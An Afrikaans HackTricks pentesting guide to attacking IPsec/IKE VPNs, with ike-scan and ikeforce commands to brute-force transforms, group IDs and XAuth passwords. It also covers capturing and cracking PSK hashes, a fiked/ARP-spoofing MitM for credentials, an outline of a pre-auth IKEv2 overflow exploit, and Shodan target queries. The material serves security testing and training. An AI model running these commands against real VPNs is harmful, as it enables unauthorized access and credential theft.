500/udp - Pentesting IPsec/IKE VPN

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

IPsec word algemeen erken as die hooftegnologie vir die beveiliging van kommunikasie tussen netwerke (LAN-to-LAN) en van afgeleë gebruikers na die netwerk gateway (remote access), en dien as die ruggraat van ondernemings-VPN-oplossings.

Die totstandbrenging van ’n security association (SA) tussen twee punte word bestuur deur IKE, wat onder die ISAKMP-paraplu funksioneer — ’n protokol ontwerp vir verifikasie en sleuteluitruiling. Hierdie proses ontvou in verskeie fases:

  • Phase 1: ’n veilige kanaal word geskep tussen twee eindpunte. Dit word bereik deur gebruik van ’n Pre-Shared Key (PSK) of sertifikate, en maak gebruik van main mode, wat drie paar boodskappe behels, of aggressive mode.
  • Phase 1.5: Al is dit nie verpligtend nie, verifieer hierdie fase, bekend as die Extended Authentication Phase, die identiteit van die gebruiker wat probeer koppel deur ’n gebruikersnaam en wagwoord te vereis.
  • Phase 2: Hierdie fase is gewy aan die onderhandeling van die parameters vir die beveiliging van data met ESP en AH. Dit maak voorsiening vir die gebruik van algoritmes verskillend van dié in Phase 1 om Perfect Forward Secrecy (PFS) te verseker, wat die veiligheid verhoog.

Standaardpoort: 500/udp

Ook algemeen blootgestel: 4500/udp (NAT Traversal)

Ontdek die diens met behulp van nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Vind ’n geldige transformasie

Die IPSec-konfigurasie kan slegs voorberei wees om een of ’n paar transformasies te aanvaar. ’n Transformasie is ’n kombinasie van waardes. Elke transform bevat ’n aantal eienskappe soos DES of 3DES as die enkripsie-algoritme, SHA of MD5 as die integriteitsalgoritme, ’n pre-shared key as die authentiseringstipe, Diffie-Hellman 1 of 2 as die sleutel verdelingsalgoritme en 28800 sekondes as die leeftyd.

Die eerste ding wat jy moet doen, is om ’n geldige transformasie te vind, sodat die server met jou sal praat. Hiervoor kan jy die hulpmiddel ike-scan gebruik. Standaard werk Ike-scan in main mode, en stuur ’n pakkie na die gateway met ’n ISAKMP-kop en ’n enkele voorstel met agt transforms daarin.

Afhangend van die reaksie kan jy sekere inligting oor die eindpunt verkry:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Soos jy in die vorige antwoord kan sien, is daar ’n veld genaamd AUTH met die waarde PSK. Dit beteken dat die vpn gekonfigureer is met ’n preshared key (en dit is regtig goed vir ’n pentester).
Die waarde van die laaste reël is ook baie belangrik:

  • 0 returned handshake; 0 returned notify: Dit beteken die teiken is nie ’n IPsec gateway nie.
  • 1 returned handshake; 0 returned notify: Dit beteken die teiken is gekonfigureer vir IPsec en is bereid om IKE-onderhandeling uit te voer, en een of meer van die transforms wat jy voorgestel het, is aanvaarbaar (a valid transform will be shown in the output).
  • 0 returned handshake; 1 returned notify: VPN gateways reageer met ’n notify-bericht wanneer geen van die transforms aanvaarbaar is nie (alhoewel sommige gateways dit nie doen nie, in welke geval verdere ontleding en ’n hersiene voorstel probeer moet word).

In hierdie geval het ons reeds ’n geldige transformasie, maar as jy in die 3de geval is, moet jy ’n bietjie brute-force gebruik om ’n geldige transformasie te vind:

First of all you need to create all the possible transformations:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

En dan brute-force elkeen met ike-scan (dit kan ’n paar minute neem):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

As die brute-force nie gewerk het nie, reageer die bediener dalk sonder handshakes selfs op geldige transforms. Dan kan jy dieselfde brute-force probeer, maar met aggressive mode:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Hopelik word ’n geldige transformasie teruggegee.
Jy kan die dieselfde aanval probeer met iker.py.
Jy kan ook probeer om transformasies met brute force te ontdek met ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

In DH Group: 14 = 2048-bit MODP and 15 = 3072-bit
2 = HMAC-SHA = SHA1 (in this case). The --trans format is $Enc,$Hash,$Auth,$DH

Cisco raai aan om nie DH groups 1 en 2 te gebruik nie omdat hulle nie sterk genoeg is nie. Deskundiges meen dat lande met baie hulpbronne maklik die enkripsie van data wat hierdie swak groepe gebruik kan kraak. Dit word gedoen deur ’n spesiale metode te gebruik wat hulle voorberei om die kodes vinnig te kraak. Alhoewel dit baie geld kos om hierdie metode op te stel, stel dit hierdie magtige lande in staat om die versleutelde data in reële tyd te lees as dit ’n groep gebruik wat nie sterk is nie (soos 1,024-bit of kleiner).

Server fingerprinting

Daarna kan jy ike-scan gebruik om te probeer die verskaffer te ontdek van die toestel. Die tool stuur ’n aanvanklike voorstel en hou op om te herhaal. Deur die tydverskil te ontleed tussen die ontvangde boodskappe van die bediener en die ooreenstemmende antwoordpatroon, kan die pentester die VPN-gateway-verskaffer suksesvol fingerprint. Boonop sal sommige VPN-bedieners die opsionele Vendor ID (VID) payload met IKE gebruik.

Spesifiseer die geldige transformasie indien nodig (gebruik –trans)

As IKE die verskaffer ontdek, sal dit dit weergee:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Dit kan ook bereik word met die nmap script ike-version

IKEv2-spesifiek: WatchGuard Vendor ID weergawe-vingerafdruk

Sommige IKEv2 daemons bevat nie-standaard Vendor ID payloads in die IKE_SA_INIT-antwoord. WatchGuard Fireware OS enkodeer die appliance-weergawe/build direk binne die VID, wat enkel-pakket, pre-auth vingerafdrukke moontlik maak.

  • Transport: UDP/500 (en UDP/4500 vir NAT-T)
  • Pakket: IKE_SA_INIT-antwoord bevat een of meer Vendor ID payloads
  • WatchGuard-formaat: 32-byte hash gevolg deur base64 wat dekodeer na bv. VN=12.11.3 BN=719894

Voorbeeld ruwe bytes van ’n WatchGuard VID payload (laaste 12 bytes is base64):

00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807  ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b  .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243  Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d            Tj03MTk4OTQ=

Vinnige uittrekking in ’n shell wanneer jy die base64 tail het:

echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894

Aantekeninge

  • Dit is nie deel van enige IKEv2 RFC nie. Beskou dit as ’n verskaffer-kwessie vir vinnige opsporing van blootgestelde/kwetsbare Fireware OS-weergawes.
  • Jy hoef slegs ’n IKE_SA_INIT-antwoord uit te lok; geen verifikasie is nodig nie.

Om die korrekte ID (groepnaam) te vind

Om die hash te kan vasvang, het jy ’n geldige transformasie nodig wat Aggressive mode ondersteun en die korrekte ID (groepnaam). Jy sal waarskynlik nie die geldige groepnaam ken nie, so jy sal dit moet brute-force.
Hiervoor beveel ek twee metodes aan:

Bruteforcing ID with ike-scan

First of all try to make a request with a fake ID trying to gather the hash (“-P”):

ike-scan -P -M -A -n fakeID <IP>

As geen hash teruggestuur word nie, sal hierdie metode van brute forcing waarskynlik werk. As enige hash teruggestuur word, beteken dit dat ’n vals hash vir ’n valse ID teruggestuur gaan word, dus sal hierdie metode nie betroubaar wees om die ID te brute-force nie. Byvoorbeeld, ’n vals hash kan teruggestuur word (dit gebeur in modern weergawes):

Maar soos ek gesê het, as geen hash teruggestuur word nie, moet jy probeer om algemene groepname te brute-force met behulp van ike-scan.

Hierdie script sal probeer om moontlike IDs te brute-force en sal die IDs teruggee waar ’n geldige handshake teruggestuur word (dit sal ’n geldige groepnaam wees).

As jy ’n spesifieke transformasie ontdek het, voeg dit in die ike-scan opdrag in. En as jy verskeie transformasies ontdek het, voel vry om ’n nuwe loop by te voeg om hulle almal te probeer (jy moet almal probeer totdat een van hulle korrek werk).

Jy kan die dictionary of ikeforce of the one in seclists van algemene groepname gebruik om hulle te brute-force:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Of gebruik hierdie dict (is ’n kombinasie van die ander 2 dicts sonder herhalings):

Bruteforcing ID met Iker

iker.py gebruik ook ike-scan om moontlike groepname te bruteforce. Dit volg sy eie metode om vind ’n geldige ID gebaseer op die uitvoer van ike-scan.

Bruteforcing ID met ikeforce

ikeforce.py is ’n hulpmiddel wat gebruik kan word om ook brute force IDs. Hierdie hulpmiddel sal try to exploit different vulnerabilities wat gebruik kan word om te distinguish between a valid and a non-valid ID (kan false positives en false negatives hê, daarom verkies ek om die ike-scan metode te gebruik indien moontlik).

Standaard sal ikeforce aanvangs ’n paar ewekansige ids stuur om die gedrag van die bediener te kontroleer en die taktiek te bepaal wat gebruik word.

  • Die eerste metode is om die groepname te brute-force deur te soek na die inligting Dead Peer Detection DPD van Cisco-stelsels (hierdie inligting word slegs deur die bediener teruggestuur as die groepsnaam korrek is).
  • Die tweede metode wat beskikbaar is, kontroleer die aantal antwoorde wat na elke poging gestuur word, omdat soms meer pakkette gestuur word wanneer die korrekte ID gebruik word.
  • Die derde metode bestaan uit die soek na “INVALID-ID-INFORMATION” in die reaksie op ’n verkeerde ID.
  • Laastens, as die bediener niks na die kontroles terugstuur nie, sal ikeforce probeer om die bediener te brute-force en kyk of die bediener, wanneer die korrekte id gestuur word, met ’n pakket terugreageer.
    Uiteraard is die doel van die brute-forcing van die id om die PSK te kry wanneer jy ’n geldige id het. Dan, met die id en PSK, sal jy die XAUTH moet brute-force (indien dit geaktiveer is).

As jy ’n spesifieke transformasie ontdek het, voeg dit by in die ikeforce-opdrag. En as jy verskeie transformasies gevind het, voeg gerus ’n nuwe lus by om hulle almal te probeer (jy behoort almal te probeer totdat een daarvan behoorlik werk).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(From the book Network Security Assessment: Know Your Network): Dit is ook moontlik om geldige gebruikersname te bekom deur die sniffing van die verbinding tussen die VPN client en server, aangesien die eerste aggressive mode packet wat die client ID bevat in the clear gestuur word

Capturing & cracking the hash

Ten slotte, as jy ’n valid transformation en die group name gevind het en as die aggressive mode toegelaat word, kan jy baie maklik die crackable hash gryp:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Die hash sal binne hash.txt gestoor word.

Jy kan psk-crack, john (met ikescan2john.py) en hashcat gebruik om die hash te crack:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Aggressive mode IKE gekombineer met ’n Pre-Shared Key (PSK) word algemeen gebruik vir group authentication. Hierdie metode word aangevul deur XAuth (Extended Authentication), wat ’n addisionele laag van user authentication toevoeg. Sulke verifikasie maak gewoonlik gebruik van dienste soos Microsoft Active Directory, RADIUS, of soortgelyke stelsels.

By die oorskakeling na IKEv2 is daar ’n merkbare verskuiwing waarin EAP (Extensible Authentication Protocol) in plaas van XAuth gebruik word om gebruikers te verifieer. Hierdie verandering beklemtoon ’n ontwikkeling in verifikasiepraktyke binne veilige kommunikasieprotokolle.

Lokale netwerk MitM om inlogbewyse vas te vang

Jy kan die aanmelddata vasvang met behulp van fiked en kyk of daar ’n standaard gebruikersnaam is (Jy moet IKE traffic herlei na fiked vir sniffing, wat gedoen kan word met behulp van ARP spoofing, more info). Fiked sal as ’n VPN-endpunt optree en die XAuth credentials vasvang:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Gebruik ook IPSec om ’n MitM-aanval te probeer uitvoer en blokkeer alle verkeer na port 500; as die IPSec-tunnel nie gevestig kan word nie, kan die verkeer dalk onversleuteld gestuur word.

Brute-forcing XAUTH username en password met ikeforce

Om die XAUTH te brute force (wanneer jy ’n geldige groepsnaam id en die psk ken) kan jy ’n username of ’n lys van usernames en ’n lys van passwords gebruik:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

Op hierdie wyse sal ikeforce probeer om te verbind met elke kombinasie van username:password.

As jy een of verskeie geldige transforms gevind het, gebruik hulle net soos in die vorige stappe.

Outentisering met ’n IPSEC VPN

In Kali word VPNC gebruik om IPsec-tunnels op te stel. Die profiele moet in die gids /etc/vpnc/ geplaas wees. Jy kan hierdie profiele inisieer met die opdrag vpnc.

Die volgende opdragte en konfigurasies illustreer die proses om ’n VPN-verbinding met VPNC op te stel:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

In hierdie opstelling:

  • Vervang [VPN_GATEWAY_IP] met die werklike IP-adres van die VPN-gateway.
  • Vervang [VPN_CONNECTION_ID] met die identifiseerder vir die VPN-verbinding.
  • Vervang [VPN_GROUP_SECRET] met die VPN se group secret.
  • Vervang [VPN_USERNAME] en [VPN_PASSWORD] met die VPN-verifikasiebewyse.
  • [PID] simboliseer die proses-ID wat toegewys sal word wanneer vpnc begin.

Sorg dat werklike, veilige waardes gebruik word om die plaasvervangers te vervang wanneer die VPN gekonfigureer word.

IKEv2 exploitation notes: pre-auth IDi/CERT processing bugs

Moderne VPN-appliances stel dikwels IKEv2 bloot op UDP/500 (en UDP/4500 vir NAT-T). ’n Algemene pre-authentication aanvalsvlak is die parsing van Identification (IDi) en Certificate payloads tydens IKE_SA_AUTH.

Hoëvlak-uitbuitingvloei wanneer ’n kwesbare IKEv2-parser bestaan:

  • Stuur ’n geldige IKE_SA_INIT om transforms te onderhandel en Diffie–Hellman te voltooi.
  • Volg met IKE_SA_AUTH wat ’n IDi dra wat die fout aktiveer (bv. ’n oorgrootte Identification wat in ’n vas-grootte stack buffer gekopieer word voordat certificate verification plaasvind).
  • Resulterende geheue-korrupsie kan saved-register en return-address beheer gee.
  • Met NX aangeskakel maar ander mitigasies afwesig (geen PIE/canaries), bou ’n ROP-ketting om mprotect op ’n stack-bladsy aan te roep en dan uitvoering te pivot na ingevoegde shellcode of na ’n resident interpreter (bv. /usr/bin/python3) as geen /bin/sh beskikbaar is nie.

Voorbeeld van standaard transforms waargeneem op sommige IKEv2-appliances (WatchGuard Fireware OS 12.11.3):

  • SHA2-256–AES(256-bit) with DH Group 14
  • SHA1–AES(256-bit) with DH Group 5
  • SHA1–AES(256-bit) with DH Group 2
  • SHA1–3DES with DH Group 2

Praktiese wenke

  • Mik beide UDP/500 en UDP/4500; NAT-T servers mag slegs op 4500 antwoord.
  • Verhoog ontvangsbuffer en timeouts vir UDP-gebaseerde skandeerders om pakketverlies te vermy.
  • As die diens custom Vendor IDs blootstel (sien afdeling hierbo), gebruik dit om vinnig kwesbare weergawes te fingerdruk voordat enige exploit-verkeer probeer word.

Reference Material

Shodan

  • port:500 IKE
  • port:4500 "UDP"
  • udp port:500,4500 "WatchGuard"

References

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks